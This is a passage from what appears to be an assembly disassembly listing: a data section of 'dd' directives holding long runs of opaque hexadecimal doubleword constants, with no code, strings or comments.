3CE9E108h, 54F8D42h, 0B6FAFE68h, 83903098h, 583E3139h dd 0A7B8D0CFh, 0BE989100h, 0EEEAC4D1h, 62D8A1FFh, 71C0A0E6h dd 6D32B4h, 0B15C25AAh, 8A372D21h, 0F99AB030h, 2EB2CC4h dd 75AA6B22h, 64E84260h, 0D584CEEh, 0FE907F0h, 69B59C41h dd 0C4A5A440h, 3D18B7AEh, 0F427B6A1h, 0B8992033h, 14C02003h dd 32770800h, 85B9BF69h dd 0AE2C1FF6h, 389C00E7h, 48809564h, 47C13Bh, 35725BDBh dd 0F654FC0Eh, 667407C5h, 9055324Ch, 60A55A05h, 931CA1ECh dd 0A00033FBh, 0E9BCEE8Bh, 112360DDh, 0D6BA0705h, 0E31D5D7Ah dd 1C4E0EFDh, 2C50808Dh, 18EE5B4h, 0A74780AAh, 2890E7F2h dd 0C7BE0038h, 79FF5C5Fh, 821B009Eh, 0FA14F629h, 0D07E2C49h dd 452ED745h, 90EBF244h, 800D45E0h, 31C8D717h, 0BA537402h dd 0ADB0A073h, 0ABA4FDh, 5946BF9Ch, 80AC3AF0h, 12298100h dd 100A4E47h, 25530386h, 5BDC8246h, 1ED7BDBh, 6E44E69Bh dd 0BF6FC88Bh, 0F0F5FD00h, 2E214382h, 8A3D007Ah, 909FE728h dd 75000D17h, 1F245D6Dh, 0B63F69Ch, 47D0A4C1h, 0E9E31CA0h dd 0FC002E19h, 0CFB4145h, 0E2EA4Eh, 3F6A845Eh, 2F54DD5Ah dd 53ECB201h, 0E37545F8h, 0BF8021BFh, 5F732909h, 42586225h dd 52E500D0h, 16E692CCh, 0F40B14FBh, 0B300F807h, 14B0A7B9h dd 9B0EDAC2h, 2FF5A40Ah, 2EBBA035h, 0F02346h, 0D606210Bh dd 0BCF8269Ah, 0FBC1C4A0h, 0E54580B6h, 0A02E1E87h, 0F029860Dh dd 0B1A31C6Fh, 6BC284E7h, 22CFCD5h, 699B7E4Bh, 946120D4h dd 4400F29Dh, 0EDAA7CBDh, 3879225h, 0EAEBF172h, 0A8D89333h dd 50F0592Bh, 417C6400h, 221D862Fh, 0A2A900F0h, 76485F05h dd 0A001257h, 0DCC9AE14h, 4FE13D33h, 0F730C0E7h, 93581A2Eh dd 26AA00C8h, 0ACAB680Eh, 0B1BE00DEh, 3849918Dh, 0E9125FEAh dd 0E440A458h, 7D5C4166h, 0C0D54AE2h, 1461246Ch, 0C9E9200h dd 0C48BF002h, 717C06h, 6B352F7Bh, 0A2856682h, 64A02090h dd 7C00FA53h, 65168BA4h, 3DF95DBh, 4A90605Ch, 43A8700Dh dd 3109A2A7h, 3C209F2h, 0C5E30EA5h, 0F75040C0h, 188A00D0h dd 0C10D5D4Ch, 1E140F9Eh, 0FCA390Eh, 0D280B668h, 992E7C80h dd 0B2A6009Eh, 9F54779Dh, 0D1F06F62h, 8AF7C612h, 26A2EC80h dd 109A17h, 0DE9CFE56h, 84D0EBFAh, 80CE5739h, 0FF89CB90h dd 0EEFC374Dh, 5A9402DEh, 0E9089BD9h, 76607C60h, 0A7E31800h dd 4CA61A21h, 0BF28009Ch, 1B65E583h, 6D5C7C1Ch, 3BE90070h dd 6F2631A3h, 0F17901CCh, 2834C401h, 13EC4115h, 42F4CCF6h dd 4C314600h, 0D2ABDB72h, 45350056h, 377F977Bh, 0E73BFDEAh dd 0C3A8803Fh, 19D0C989h, 81710014h, 0E6A69CD8h, 0E000BEC7h dd 0C53DC1C8h, 84CF21h, 92BB8D25h, 99590A14h, 8EF7E8C0h dd 9D969A07h, 0A2AB4021h, 4C2AEC84h, 2276C40Ah, 781CA85Dh dd 35BF8039h, 640704F1h, 0B1A90002h, 0BEFF43Fh, 0B7006879h dd 0C216A3B3h, 9551E5Ch, 645D1B95h, 8EAFCCC0h, 66530100h dd 0D8EBECE7h, 48E10541h, 0A8815194h, 0C9C1C040h, 0EEF3DAE9h dd 0EC5A3A3Dh, 26D8C3A6h, 0C0BE8010h, 2D40E9B6h, 28237C0Fh dd 89FFE236h, 17D87860h, 0EBC0614h, 7E002059h, 4BD6E38Ch dd 9D007C98h, 2DBDBFABh, 38A60CF8h, 2F9A598h, 610A072Fh dd 660B382h, 0C600835Bh, 9E8D7747h, 51219Fh, 0A56E36C2h dd 53079597h, 3149E700h, 8F17AA2Ch, 12581622h, 0C02822B5h dd 0C7522120h, 71373FDh, 0F9F7F6ECh, 0AA07EF66h, 0D140CFC1h dd 0D6334451h, 7B6D9905h, 0BC4476B0h, 0A6C073BCh, 1D3084F9h dd 40758823h, 1BE7E38Dh, 8C504D26h, 6A00C6DCh, 0A11A40E6h dd 4A092F79h, 0E5788810h, 0F8057E73h, 403D7408h, 5D30BC00h dd 13E4F66h, 65441A94h, 60146A80h, 0F60A7928h, 0AC383A3Ch dd 0C00DAA0h, 0E1278A9Ch, 0E49AB1h, 0EBCFAFEEh, 0E37C2298h dd 20038414h, 503702B8h, 4E9EB2h, 0E5778245h, 33400509h dd 0E724A03Eh, 7322F67h, 8B6AAA39h, 1D28E0E1h, 0D500BF1Ch dd 9F9C746h, 55CF1Ah, 0FFDD5FCCh, 490E1F0Bh, 4AB8F754h dd 522A9000h, 4B53D680h, 2B6D005Ah, 571CB114h, 6B012067h dd 6573C3B9h, 68CD4E06h, 616AC4h, 0A33E83FDh, 4A71D154h dd 78DA5503h, 0A3D025F4h, 1F9D08Fh, 593D0036h, 24A468C1h dd 2C28B41Bh, 8A00FE83h, 45542105h, 0CC48DEh, 50B51442h dd 5ACA0E39h, 814C714Ch, 0FFFC5608h, 0E0EA5FC8h, 4AD3007Ah dd 7542672Dh, 103C9F0h, 100CCF95h, 3B97A89Bh, 53E600F4h dd 8C5F1B79h, 65009364h, 38F27F5h, 0F2A24751h, 0BAEAE3h dd 0F345FAFDh, 549CC1DEh, 656D8807h, 0C6E3556Bh, 4C29A083h dd 37F80350h, 0A9E85228h, 6A845CC9h, 587AD400h, 3C8E74h dd 559D3BFBh, 1713BECAh, 0AA895000h, 16D4C9E2h, 0F80005Ah dd 4CFC8E2Dh, 7025BC71h, 2CCC1Dh, 74840572h, 510ED3F3h dd 69B4DD00h, 0F6DB7A7Dh, 9DB544h, 7C2DAFE4h, 477204BCh dd 0F0D3E43Dh, 8055CBDBh, 90A5706h, 6C3E0E4Dh, 3380CC8Fh dd 15CA1324h, 0CB9E7D07h, 6510662Ch, 0E0F2B625h, 0EB8BA33h dd 8675A2D1h, 8884259Ch, 0ADF8885Dh, 2A0C712h, 0A52D7CC0h dd 0A8605DA9h, 0B9EEAE03h, 76D01D19h, 3745268h, 414A4E06h dd 0A0F1F0h, 16391F2Fh, 4C0A0E2h, 0B4804B5Ah, 16233F8Eh dd 0C68150h, 14403C84h, 0DF001845h, 4C1E2133h, 61526F56h dd 84AC20C1h, 864AE4D6h, 6C052A98h, 2D7FE6C3h, 4DE2EC02h dd 0C84460BDh, 0FFE1C0E7h, 981B049h, 0A3002EE0h, 334EF88Bh dd 25C4922Ch, 0CC857504h, 0ABB03398h, 6FAD6003h, 0E917AEB2h dd 0AC2C0538h, 7DE41B00h, 0EDC8C0EFh, 82F9EE00h, 0CA2A0901h dd 0A58C0ACDh, 8C9B94h, 2CBC168Ah, 10CE9FABh, 0F675E0C3h dd 1FF1ECDDh, 0C2BE4147h, 17B94573h, 0D844BC40h, 0BC546039h dd 3B980762h, 0B010DB6Ah, 0C1EF30h, 78938C04h, 8A7B4CB4h dd 91635D00h, 239C456Dh, 85B80CF4h, 6748883Ch, 0E8F94300h dd 0E9781B34h, 1ABA005Ah, 0A3423824h, 590E5D2Dh, 0E09810D7h dd 0AB3BFA09h, 0ADB5006Ah, 493E111Dh, 78006C5Eh, 9C3CC7D1h dd 1448E00Ch, 98B61439h, 1901BD39h, 42107EA0h, 0CFF33079h dd 135988E4h, 0F56F038Ch, 0B81D1CABh, 7B0AC01h, 0E02583Ch dd 0A8000B65h, 0F1E85E31h, 71495100h, 25ECA8D8h, 0AEFB0036h dd 2F77E947h, 0F1390ABEh, 802C3FA7h, 0B8DED57Bh, 4827EDFBh dd 24724EA4h, 9F84162Fh, 55C08289h, 1C542244h, 0FFA988h dd 0E9683F5h, 9202C059h, 71C3B20Ch, 0AD2C409Eh, 6A3000AEh dd 0D2DB485Bh, 0E300DCA6h, 97017FBCh, 502D04h, 3D93F93Ch dd 0C0BF1721h, 0D3818F00h, 756332C1h, 90090BB8h, 0E082DC53h dd 2C4997B2h, 0EDB4508Bh, 5C92322Ch, 0CEEC9095h, 33C83967h dd 0A1319881h, 0CC3D14A3h, 0DCF9E3F2h, 20FB85F6h, 241D023Ch dd 0AAC06CD4h, 0BCA437AFh, 0CC140030h, 50FAC0B1h, 5F3A26D3h dd 8E9E38F5h, 0F3126CE2h, 2FCE8400h, 0FEFA865Eh, 7724908Dh dd 837047h, 9BFB1775h, 4AA7A953h, 0A1C6AE04h, 0ACC03E05h dd 0D5A42Bh, 350B77F9h, 0DBAC6B66h, 9FBDC500h, 50010DCBh dd 6D0700DAh, 48F9DDABh, 0F200C718h, 778E3570h, 26B3A245h dd 304386h, 23F78D4Bh, 0A5011A1Ch, 0ED8F40D7h, 406B1625h dd 77C47530h, 72009233h, 0EB7BFAD9h, 7896CDC1h, 0E17BD7h dd 0D19B7FD4h, 0FE8C9814h, 2890514Ch, 0AF0FFF01h, 0B3B1896Fh dd 2764C45h, 610014B8h, 0D9638674h, 92789647h, 1097ACB0h dd 2F6617B4h, 0C880DD5Ch, 6DD7433Bh, 880F7302h, 0DC7F7E15h dd 0FEA94004h, 0BB00DF67h, 0F1C98B7Bh, 0CBEC16h, 8D1C8189h dd 0A2E3FB51h, 5E84E0FDh, 0D592C204h, 4880607Fh, 0EC152CB9h dd 0BBB00BC6h, 68E1B317h, 1C5822A3h, 6580C156h, 683202CDh dd 677593h, 0EB3D64B8h dd 0B00B0517h, 0A4349F26h, 7F687900h, 9022FC09h, 0D8A90264h dd 66F3B3E9h, 0F9E84440h, 0B45EFB03h, 0B8A1F231h, 96E93D0Ch dd 6209047Ch, 6F3CA0BDh, 0AF3E6A13h, 7CBC94C5h, 0CFCB4200h dd 66C21E83h, 0A8E46D00h, 8ACE809Bh, 0C39A1CB3h, 755C8Dh dd 7436A3B5h, 80017F98h, 773F27D5h, 0ABD540C9h, 814E0h dd 47372D7Dh, 2B845D26h, 3B74AC90h, 17073500h, 0E95128B2h dd 81E1002Dh, 715BA824h, 600592CEh, 3FBD8BF0h, 5724CCA9h dd 0D8D43DECh, 6F610127h, 543631Ah, 83B940D9h, 3500FB2Ch dd 621199Bh, 48A49801h, 30008C7Ah, 0FFB41F22h, 6700D015h dd 7B6F6C4Ch, 5799A4Fh, 0AA9D02A5h, 0FA0002Fh, 0E8B8BE74h dd 1517E500h, 5060D188h, 7CFF8157h, 9A9F8440h, 0F112B4B8h dd 22080787h, 0C8729F71h, 1205D3C8h, 0B1877721h, 0A834F8B1h dd 910405CDh, 0AC626498h, 3E30238h, 411C72F4h, 642CDB75h dd 0B09BC216h, 0F300B678h, 0BA21677h, 0B1CDF1h, 35A315AEh dd 81E590CAh, 0EA272C0Fh, 74D601D5h, 8F30392Dh, 805F75h dd 7A7FB5CCh, 690B76C1h, 824828h, 0B80C46AFh, 4C99008Ch dd 3D37B71Eh, 131E2843h, 0D40A2AAh, 70864D3Ch, 0FA720183h dd 0BC2F3296h, 0F9108174h, 0B89804CCh, 48580C3Ah, 267D0F1Eh dd 9900F2E4h, 0BFC0E43Bh, 8E86D6h, 2A2F80E2h, 2DA99061h dd 0FF0F2303h, 3C3B70FDh, 18049FB8h, 90A74D29h, 1997D094h dd 61DA5B00h, 6F2FE4C9h, 69370020h, 51CD3291h, 0FE008A85h dd 22352E68h, 9748345h, 342902E4h, 0E33FC4F2h, 8011E067h dd 5E575h, 0A720472Ch, 0BAFF736Ah, 0E660FD02h, 0E9B092D7h dd 5BC43690h, 65B804CBh, 0E099F513h, 75013CC8h, 223DF9BBh dd 18528ED8h, 0D98043Ah, 71CC38DAh, 5AD600B0h, 0BCB30B28h dd 3400A7D4h, 75EC58EFh, 0E22F667h, 6C8BC052h, 3C49E260h dd 0CD3ABB65h, 845B2AB0h, 5EF51006h, 0C805691h, 0BCA6BB55h dd 1B00B479h, 0D86D1FC0h, 0C632842h, 0AF4EF6D6h, 4549B021h dd 88C43060h, 0E88AD867h, 0FCD60661h, 2144F2D2h, 499CC00Dh dd 0DCC0E032h, 61AB122Fh, 70CE00CBh, 47E28A76h, 7F000B71h dd 9C40B142h, 1D9FD460h, 83DD0Eh, 16508ADEh, 0B5006421h dd 0A67E4FDAh, 0E0BE24h, 7A56DF8Ch, 9221D99Bh, 0CC0E65E8h dd 80119805h, 0D6775570h, 7A5F0FC2h, 86E0BB8Dh, 7D479AEFh dd 8774BF03h, 9051B8ADh, 157FDCD8h, 905D3977h, 0BEA74F01h dd 0C8D55214h, 505C9D8h, 0E95D0134h, 7FCC83h, 0DEA5729h dd 3E075F18h, 0ECAF4D03h, 0B6DB5C62h, 0DC041521h, 0E20E885Eh dd 0A3216967h, 0C34718CDh, 30BB22F9h, 3577ED1Fh, 3C565D00h dd 6A57C9Ah, 70D8002Eh, 4C07255Bh, 9E00CCBAh, 6F8FC3D2h dd 7329B81h, 0A1AB21C0h, 5FDDA3C1h, 43096907h, 1C409DC2h dd 468139h, 5F9277C5h, 36556322h, 0DBC14062h, 0F87AE334h dd 1F6C3C14h, 1DDFCFA6h, 3998477Dh, 0A77EC002h, 16002E30h dd 2FB9F1DEh, 0F450F60Ch, 34819DC0h, 0B052DB5Fh, 5AF410F1h dd 24DC006Ah, 39251C0Bh, 0EF033575h, 19E9F9AFh, 577BE83Fh dd 285B605Dh, 172F2A70h, 63A37500h, 2D0B4A53h, 9F600ECh dd 7673DC6Eh, 75034336h, 0FCF8923Fh, 47D1A0EDh, 26FAB7h dd 698E85FDh, 586FFF42h, 32BA943Ah, 80D60840h, 682901F1h dd 58564C21h, 1E5E0072h, 0C3DD93EFh, 5C00FDD0h, 0F3599CEEh dd 1F46D194h, 0D8112F13h, 2A7B116Ch, 0F1D0A21Fh, 5E01CF52h dd 9772566Dh, 4F20909Ch, 1C403A34h, 1A84DC86h, 0C0C3E100h dd 0BF69CB01h, 0C8856012h, 0B5ECE05Bh, 1FAED900h, 0CFF98F8Bh dd 2A65E2BEh, 7C887DB4h, 5EA40097h, 53EAB55Fh, 0B83F2A4Eh dd 0F8F10D39h, 84D848D7h, 0F28F01B1h, 661CF340h, 0E1162030h dd 4421E960h, 47EB36h, 9D3C2655h, 6693AC39h, 0F4ADA120h dd 83753171h, 0DF537B99h, 0CBDA8115h, 8F3C7DBCh, 467E00AFh dd 0A0A98450h, 9E7D02DDh, 0FFB9485Ch, 6BF33060h, 0A9DB7728h dd 402CB01h, 71CA3454h, 809251BCh, 0C0121CB1h, 66BE7317h dd 0FF00FE11h, 0BCC6E8A1h, 30EF5D7Bh, 2679F1DBh, 990120D7h dd 1FE74CADh, 87C80AABh, 0FD2C0001h, 5236F007h, 0B2E87BD3h dd 17F9A800h, 0D0DC72F2h, 5506015Ah, 8DF8635h, 71C04160h dd 0AEB04C6Fh, 0E7B58101h, 1FAD5386h, 7980D7FDh, 0DF50375Bh dd 0EC70405Dh, 443B1D24h, 56A5508h, 47EDE109h, 0A02434B0h dd 0A321E79Ah, 89484D3Fh, 0E29C8B4h, 0E9CA2457h, 0B59D8490h dd 0A3E60113h, 58F3F68Bh, 0EF71D422h, 657E4105h, 9809A1F5h dd 0DD180021h, 66C4F1h, 0A3A08FB0h, 9B7F259Ah, 6800F6F6h dd 8574100Bh, 0C0A811DEh, 9A210C08h, 820E4ABEh, 8F43C730h dd 4CFC2025h, 7C7D79ADh, 378B3E9Dh, 33946401h, 0F18C324Fh dd 52D1E0E9h, 10C020E8h, 0F1E4979Ch, 7AD00DBh, 0DF9FD958h dd 210F8161h, 204D4393h, 9A833CBEh, 4F313992h, 9D4C0078h dd 0EE378E34h, 0D3E59E30h, 9F323007h, 85C779DAh, 0A06DBE43h dd 0E44B8825h, 4D9514AAh, 49164C1h, 0CA0CBEEBh, 19109508h dd 4C198060h, 0F9CB8Fh, 0A9B4F2DCh, 0F655B76Fh, 5F00FFFCh dd 0DE718377h, 301DA53h, 0AE84965Eh, 590061C9h, 7819CD88h dd 33BE40F6h, 4609E15Dh, 54682100h, 0C4703A19h, 0DDA70705h dd 0A0AB7E17h, 0AA24C8F2h, 2D4E7600h, 32F0EF84h, 6126B8F9h dd 92F57802h, 19498C7Fh, 0E4D6B1F7h, 0C2F300C4h, 74E4B14Fh dd 4E006461h, 713DBDEEh, 31992B9h, 10DD6034h, 3915142Dh dd 84EB1Eh, 0A2677068h, 3E6F344h, 519B381Ch, 9003BF72h dd 9EDDF585h, 0F0386484h, 19CA60C3h, 0B8F62379h, 21007011h dd 5BAA1955h, 60CAE6Fh, 79E81F63h, 0E017377Eh, 5F018E59h dd 829071EAh, 501E5F8h, 1C940119h, 80D9C93Ah, 0EC67BE39h dd 14D6BCAh, 9D7381D4h, 80F28229h, 0EC6FB021h, 28966B5Bh dd 0D4D9E9h, 4BFE2C1Dh, 1B1254A8h, 0F1020092h, 0AAC52732h dd 9290859Ch, 212D944Ch, 27380098h, 1F9C5BDh, 90C60957h dd 7215E0Bh, 0A16D9B61h, 0A2EDA040h, 0FC08743Dh, 32AD79A7h dd 930B770h, 0AAC40827h, 24646144h, 27335340h, 74034EF5h dd 97B7488Dh, 0AA34C7D4h, 79F91100h, 88C02BB2h, 358DDD1Dh dd 0C85F52F8h, 8CADD040h, 5F19C804h, 7B62A8F6h, 19536B20h dd 8C7438B2h, 1ED93003h, 0E9221213h, 56C8C837h, 0BB2708C0h dd 9C6C56AAh, 52012E22h, 9FAE270Eh, 57DD8A76h, 66BC2105h dd 0D8298012h, 22A286F7h, 1E8000AAh, 572C1A4Dh, 0C03C3A5h dd 0BC990F0h, 3F20018Eh, 2C134BBEh, 207DD577h, 51129C14h dd 5445FB56h, 80011492h, 4749AD25h, 2F5EC0h, 76EF536Ah dd 654DF383h, 89C09D7Bh, 1215C794h, 34224887h, 66C03D88h dd 466BC9ECh, 10041035h, 0EC6EE700h, 0BFBB193Eh, 0DBDA4E09h dd 14681003h, 9D1C3AB4h, 0D9020470h, 9C201286h, 8A032720h dd 59141B0Fh, 0E626DB7Eh, 0EBF401D8h, 568DE3Eh, 655180E8h dd 7D32DCC4h, 743812A5h, 0E384C06h, 0AD004421h, 124DBCDCh dd 1FEAF758h, 8CF9D97Eh, 937803CFh, 283CAB48h, 0B846E8D1h dd 0C1273602h, 25313CAAh, 27E05C13h, 5800FB6Fh, 8F91BCDAh dd 0AC45A0Eh, 570701E3h, 603F44A0h, 28AFEC64h, 849C656Bh dd 21ED60A0h, 19EC6C99h, 44B62800h, 418E7125h, 7ED89094h dd 31200C63h, 3FE1E952h, 88AC6EE8h, 34DCAE04h, 0D62957Dh dd 0DCB74220h, 285300C6h dd 57DAD287h, 2C90C2EDh, 60241C09h, 11089DBDh, 0F95F8139h dd 10F4F309h, 128B1E5h, 75866B29h, 4AC080D7h, 0E3CD7A5Ah dd 24572AF1h, 5D1109C0h, 5806D10Eh, 0D41EB0E8h, 0F8A6767Ah dd 7B606182h, 84304A03h, 305378FCh, 0F8B40850h, 4AEA1C00h dd 9872DA44h, 80E5139Ch, 23383AC2h, 0B9640039h, 94ADF1F5h dd 17AC6804h, 0D889280Fh, 63824C41h, 6408B822h, 0F5062289h dd 3A113DEh, 63AE1510h, 3907FB16h, 8AA3DDB4h, 0D8030FA3h dd 70BC3669h, 10760323h, 281625D1h, 5D98900h, 46CDF65Bh dd 7A381CEBh, 41311C4Fh, 0CAAECC06h, 47698064h, 4AE48948h dd 14E10787h, 0B1F0DA9Ah, 426A5998h, 0A335580h, 34AAC6E0h dd 3CC8E8h, 0BE273D51h, 0B200583Eh, 1FBAAB79h, 39613123h dd 1C4CF3F2h, 0AED8F50Ch, 7E7C6381h, 6B796092h, 0F8A192ECh dd 0F5AC30E7h, 9728F877h, 0AE03F83Bh, 7AFB3361h, 0CA71133Ah dd 0AA104E86h, 0A41BF220h, 0C100973Eh, 0D816AC8h, 3DE992CFh dd 4C035434h, 0A9766359h, 227E6099h, 2F505ACh, 0B4409F19h dd 0DF7367F9h, 791B7BC2h, 66A30F13h, 0AA26AE35h, 0DE2CCA74h dd 639C84D7h, 1B0060E8h, 0B160C995h, 28FCAA27h, 60542B6Bh dd 629FF177h, 0D61E4046h, 2D0F2E28h, 6030928Eh, 244E7AC0h dd 2810ADA1h, 0F50C0C20h, 1041ABDFh, 0E0B1457Dh, 86100478h dd 0E0A9E70Eh, 0DB48E1F8h, 0F180FE18h, 0D8321562h, 980FC0C3h dd 0AB6A4EE0h, 1D842BC1h, 807B11C8h, 0BBAC4ABCh, 0B891CAh dd 3143A063h, 4071DCA5h, 261D5D1Fh, 0A02960DCh, 98932A03h dd 38E023ACh, 0CCEC7903h, 70D9466Bh, 0EC619E00h, 741A8AC5h dd 0CCC9192Ah, 540BE844h, 9FC429h, 4A4D1A6Ch, 0CFB5A6BAh dd 0F10A53EAh, 0E8DBA996h, 4F1F3301h, 9C7472C1h, 0AC3022Fh dd 0D56DF511h, 0C313D485h, 0BA045984h, 0ABF2795Eh, 45735090h dd 0B96164D4h, 37748295h, 0B564820h, 5B89C02Ah, 0E6CEEB9Ah dd 1D3D8A3Fh, 74C04E67h, 0F51480D4h, 1C40F194h, 6FB49325h dd 39601160h, 688073CAh, 30041409h, 248C2425h, 766018C0h dd 57926C7h, 0ECE94038h, 0D50080C0h, 0FB9E7A37h, 62E710E3h dd 0E91E210Ch, 488994A0h, 4C03DB0Eh, 81768272h, 0B467F812h dd 1D570091h, 0AF69295Ch, 28F7A1C2h, 0E091CF3Ch, 0EBB5046Ch dd 196862FBh, 0E44832DEh, 0F0F66309h, 0AECB19C1h, 0A02483C5h dd 0D4EB527Dh, 0C7B86884h, 379340F9h, 0F83F421Fh, 8F313D54h dd 0E007996Eh, 4D90B86Bh, 0E0E37CFCh, 54D1C0FAh, 0A7401741h dd 790010B0h, 384D1861h, 97FBBFAh, 32F431ABh, 10718491h dd 0F5036Bh, 0E24DEA56h, 0F39FDD45h, 8995A501h, 0BE8BA6Eh dd 0E048A0C0h, 7FAD2457h, 54803910h, 6331412Ch, 64A3FA79h dd 871F40D4h, 93ADBDh, 39F2D401h, 94EFCB51h, 26FCD601h dd 8DD16E97h, 0CC4C1C36h, 0C1006123h, 9D7D33DCh, 9444863Dh dd 0DCAA0045h, 167B0507h, 0A8910463h, 24BB3F80h, 98D98671h dd 0EA5E51A5h, 14B40Ch, 52E1F11Eh, 6A03B09h, 0C231AF09h dd 0E44C653Dh, 0A3576049h, 0CF8C01F7h, 814E796Dh, 31944065h dd 1B2469F9h, 0E3039410h, 2685C3DEh, 74685991h, 10A0A46h dd 2F7B357h, 0D98ECA5Ah, 0F6C518E0h, 32A8E180h, 21E93DBEh dd 12DB8C82h, 0AE302600h, 9B9000F1h, 0AC93E16Eh, 68911D48h dd 7955EF00h, 3F863247h, 29808C18h, 2F6CAB64h, 73126D4Ah dd 48003711h, 0F44DE47Fh, 0F8575A02h, 149D2C44h, 1D383203h dd 8AB10127h, 39656367h, 0A9AC42A0h, 0FE19CC30h, 0C2C825F6h dd 6F00F894h, 0C76C19B7h, 4EEBCD71h, 0A7544018h, 5E53A67Eh dd 1F8ACE00h, 9C8E2EE1h, 91D50254h, 9328CD16h, 5250840Bh dd 0AF27C067h, 61434CAAh, 9E003B22h, 1D83273Ah, 1143FB9h dd 0AA5574A1h, 71563D63h, 8729DA54h, 39DDF4A8h, 61AC42E2h dd 783038A8h, 89F885Dh, 524CC7F8h, 220A1B50h, 87E8B119h dd 1E4DBBFCh, 805F805Eh, 427E485Ch, 0B4900E50h, 7B053890h dd 3DDD7D35h, 0ACC0489Bh, 10D49218h, 1E82E120h, 927786A8h dd 9650097Bh, 186FC039h, 80DC64BBh, 228CA38Dh, 0AC4300EFh dd 0E9763EDCh, 2C2490DBh, 7D03BC22h, 287C426Eh, 4AB01C60h dd 23282FBDh, 7EAF0326h, 5DE390F9h, 171EF2D0h, 973F4725h dd 80941168h, 8CE49539h, 151F0448h, 0F7FAE30Fh, 0B3C50360h dd 0B030A428h, 980FED04h, 64270h, 4A557A7Eh, 119934Fh dd 0AA230492h, 20DB7326h, 6780F30Ch, 0F55F4072h, 8060AB58h dd 3EA67648h, 20C4FD4h, 58D7694Ch, 7150B03h, 381766F9h dd 4E804F9Bh, 7BAA523Dh, 0F9261B06h, 2531EB01h, 38974A3Fh dd 0A4802F11h, 5E75E4BDh, 50AF1226h, 772E699Ch, 0FC527616h dd 89EB2038h, 0E0C07694h, 3A01A6B9h, 130A6AD9h, 4AA80563h dd 4AC11A8h, 0F7D70261h, 0F9AA94A0h, 0A0B16708h, 820D8684h dd 9E89F901h, 90283Dh, 84875231h, 3025D3ABh, 11C191F5h dd 924CA55Fh, 0C28000C4h, 7A79E3D9h, 7168CCF0h, 1724DEB0h dd 4821DCA0h, 44021132h, 646376ECh, 0B27E89DCh, 0F5702228h dd 50E0E0DBh, 0BDD4000Fh, 7DFA6AA9h, 6404C351h, 698A89C1h dd 3BF214E2h, 329D130h, 0A2A69AE0h, 3DA07A51h, 0F04B0A20h dd 4A276820h, 5B73E6h, 4F497522h, 88FAEEB1h, 1010C958h dd 1309FBDDh, 344594D5h, 1811EFC2h, 71001E0Fh, 0C8702F90h dd 916FB569h, 793101F0h, 4001AF02h, 0DD8ECBC8h, 810A6CB6h dd 6211C854h, 59FC480Dh, 6C58E259h, 474E34Ch, 0D45D6B25h dd 98844CEh, 4FEF62C0h, 0E9D000B5h, 0FF30E791h, 0AE48DDF5h dd 2D8EE124h, 0C450EC3Ch, 911F4127h, 19257BA8h, 0E882420h dd 1001176Dh, 0F1E57592h, 7C2816B3h, 31DEDD84h, 0A0698649h dd 0AF01AC23h, 50F67A19h, 3E887C18h, 27190756h, 1F64AEC9h dd 61BEF7E0h, 5CA10560h, 0FC49F86Bh, 2838ACA1h, 0CE5A090Ch dd 0E6E58161h, 4C6032DAh, 0C215440Ah, 0A4646D1Eh, 0E237B4C0h dd 24986EB7h, 2260A656h, 0D1BCB1B8h, 1E011890h, 42C6EA4Dh dd 1662B5B8h, 0BD09890h, 6578FD0Bh, 0D5C42252h, 41AE8E12h dd 0B55AA24h, 10001039h, 79980326h, 0EC0058FBh, 9E1B968Fh dd 0A6B2D5Ch, 3C8C1653h, 80639154h, 7D09DCC7h, 0A71C87ADh dd 3B64DC80h, 77D16928h, 1C2D249Fh, 74C8CAA0h, 322D2E47h dd 0EC60E489h, 995BE025h, 7723982Eh, 4AE3F800h, 24CCB1FDh dd 80A8EA7Bh, 89E731D1h, 0EB802A12h, 0FD192296h, 0E8E0FF48h dd 5F018CFBh, 0AB35034Ah, 86D8D90Ch, 730E276Fh, 0DC9B801h dd 26D043EBh, 7A106688h, 7241B801h, 0C3865983h, 0A8008C38h dd 0E80CF432h, 4A285679h, 0C005A493h, 913F52CCh, 79D19C0Ch dd 624813EEh, 0DAB44555h, 2C38D8AEh, 0F11B2E30h, 184BFBA8h dd 6975DE77h, 9200C4F4h, 97812658h, 72763850h, 29391F19h dd 0B716CFB8h, 0BDB90BC0h, 0DE00E271h, 0FE4C9C5h, 1DAA3276h dd 141EA1h, 7FF6F2BAh, 9307BF8Eh, 0EB97B3E1h, 0FF42DA83h dd 0AB17FEC1h, 0FA3BF020h, 3DD100CBh, 3122ECC9h, 0B000C737h dd 0BE9342B3h, 70201EC5h, 7A33004Ah, 1792D5D4h, 300B6732h dd 6802135Ch, 2650B60h, 66252C10h, 34720360h, 249216F8h dd 2C692001h, 3EDA39D9h, 2E83F4h, 7A99148Bh, 71F6A67Eh dd 6120CCA4h, 5CFC18DCh, 0E502415Fh, 181F94A3h, 0F9D3FED6h dd 71FCD491h, 31000032h, 2D0B6C4Ah, 0CF7C11E7h, 1393A0C7h dd 23058291h, 8C6CFC74h dd 36DCC002h, 653DC57Dh, 0A980B8B8h, 89D05EDCh, 8706D3F3h dd 6A9588E8h, 0F014B120h, 2D8611F7h, 1810DDEEh, 1A0CAA62h dd 501343ABh, 7A058C31h, 556BCDECh, 0B300588Eh, 6F13EC62h dd 0F901C1A4h, 947ABF4Fh, 0E0403053h, 3D5B0F0Eh, 4285933Bh dd 0D0EA5E7Eh, 0A4EBDA88h, 2B10DF0Ch, 961ED1F8h, 1A6C8E90h dd 3369FE1h, 6DA7FC1Dh, 0F3BD161Eh, 1215AF17h, 0C07048D8h dd 5DB2516Ah, 19AB00EBh, 8A0E2555h, 67EBAECh, 4E70C105h dd 8CF28365h, 4A3026F2h, 97E500CEh, 0ED353E6Dh, 450031C1h dd 55C67425h, 78E7E451h, 59D09E6Fh, 0C4222AB2h, 19CB30C0h dd 30F66608h, 526A58C2h, 0D14C1900h, 67809D72h, 20F04568h dd 4658F954h, 0F54E50ACh, 72CDF51h, 557E90BCh, 3109A31Fh dd 4B5FFB38h, 4CE2C550h, 28643400h, 0A7F635BDh, 997BA103h dd 94F04A7Ch, 0B1480C0h, 0B239C257h, 0FCF01A03h, 90E8AD5Ch dd 8C1DC0C0h, 0F0F076Ah, 4ECC5D17h, 67BD403Fh, 0FFB42554h dd 0AA0D567Ch, 81962810h, 5FCE4EF0h, 8FC05E02h, 0E7C138ADh dd 7237AEEAh, 5FDA0254h, 590CD82Ah, 606244A4h, 1008DCBAh dd 0C83DB57Dh, 0C3468091h, 2E2BA1DCh, 9FF60F14h, 1E733E44h dd 0A0AA5382h, 0AF312100h, 0F93DBE41h, 250724F1h, 80FC2438h dd 2D1E1B0Ah, 395B88Ah, 81DD1D64h, 